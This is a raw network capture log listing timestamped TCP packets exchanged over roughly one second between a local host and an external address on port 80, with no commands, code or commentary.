Dec 20, 2024 17:43:21.268853903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.268904924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.269052982 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.269095898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.269885063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.269957066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.269985914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.270024061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.271053076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.271112919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.271365881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.271410942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.272275925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.272289991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.272327900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.272351027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.273421049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.273499012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.273559093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.274597883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.274653912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.274894953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.274940968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.275793076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.275844097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.275913000 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.275949955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.277291059 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.277349949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.277493954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.277532101 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.278179884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.278229952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.278305054 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.278359890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.279354095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.279622078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.279671907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.280510902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.280555010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.280790091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.280832052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.281764984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.281810999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.281852007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.281889915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.282897949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.282943964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.283310890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.283360958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.284105062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.284145117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.284496069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.284538031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.285278082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.285406113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.285450935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.286524057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.286569118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.286632061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.286674976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.287694931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.287739038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.287879944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.288954020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.289019108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.289040089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.289081097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.290184975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.290241003 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.290306091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.290348053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.291244984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.291294098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.291527033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.291569948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.292462111 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.292510033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.292551994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.292583942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.293639898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.293653011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.293706894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.293729067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.294783115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.294847965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.295275927 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.295325041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.295969009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.296108007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.296142101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.296174049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.297118902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.297311068 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.297369957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.298373938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.298423052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.298484087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.298521996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.299505949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.303400040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.429368019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.429474115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.429610968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.429822922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.429879904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.429886103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.429934978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.431061983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.431119919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.431830883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.431875944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.432297945 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.432353020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.432813883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.433394909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.433450937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.433850050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.433897972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.434781075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.434830904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.434957027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.434997082 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.435821056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.435868025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.436074972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.436960936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.437016010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.437414885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.437460899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.438144922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.438196898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.438407898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.438452959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.439408064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.439459085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.439606905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.439651012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.440639019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.440682888 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.440865040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.441811085 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.441858053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.441883087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.441931009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.442918062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.442967892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.443048954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.443094015 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.444184065 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.444228888 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.444258928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.444299936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.445300102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.445429087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.445481062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.446530104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.446578026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.446589947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.446631908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.447640896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.447691917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.447724104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.447765112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.448851109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.448945045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.448997974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.450156927 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.450203896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.450397015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.450438023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.451471090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.451519012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.451617002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.451663017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.452387094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.452426910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.452646971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.452693939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.453569889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.453660965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.453713894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.454739094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.454788923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.454804897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.454847097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.455961943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.456223965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.456274033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.457230091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.457278013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.457469940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.457511902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.458307028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.458357096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.458455086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.458494902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.459508896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.459558010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.459620953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.459660053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.460700989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.460748911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.460783958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.460825920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.461885929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.461930990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.462117910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.462162018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.463046074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.463092089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.463418961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.463481903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.464282990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.464329958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.464378119 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.465398073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.465450048 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.465496063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.465559959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.466615915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.466670036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.466702938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.466753006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.467794895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.467848063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.468185902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.468234062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.468966961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.469103098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.469155073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.470185995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.470238924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.470288992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.470334053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.471343994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.471395016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.471445084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.471487999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.472796917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.472970009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.473035097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.473768950 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.473824978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.473866940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.473913908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.474900961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.474947929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.475018978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.475056887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.476145983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.476205111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.476330042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.477303028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.477363110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.477426052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.477468967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.478454113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.478513956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.478725910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.478768110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.479726076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.479784966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.479935884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.479975939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.480845928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.481026888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.481091976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.482037067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.482135057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.482383013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.482430935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.483233929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.483288050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.484412909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.484428883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.484474897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.484487057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.484497070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.484850883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.485845089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.485899925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.486623049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.486666918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.486815929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.486834049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.486855984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.486876011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.487972021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.488698959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.488754988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.489156961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.489207983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.489526987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.489572048 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.490367889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.490394115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.490420103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.490436077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.491492987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.492863894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.621365070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.621404886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.621520042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.621905088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.621954918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.621972084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.622006893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.623023987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.623080015 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.623085022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.623126030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.624228954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.624284983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.624469995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.624512911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.625438929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.625488043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.625665903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.625705004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.626650095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.626701117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.626749039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.626786947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.627793074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.627840996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.627873898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.627914906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.628977060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.629029989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.630254984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.630268097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.630311966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.630600929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.630646944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.631416082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.631474972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.631642103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.631688118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.632563114 CET	80	49732	31.41.244.11	192.168.2.6
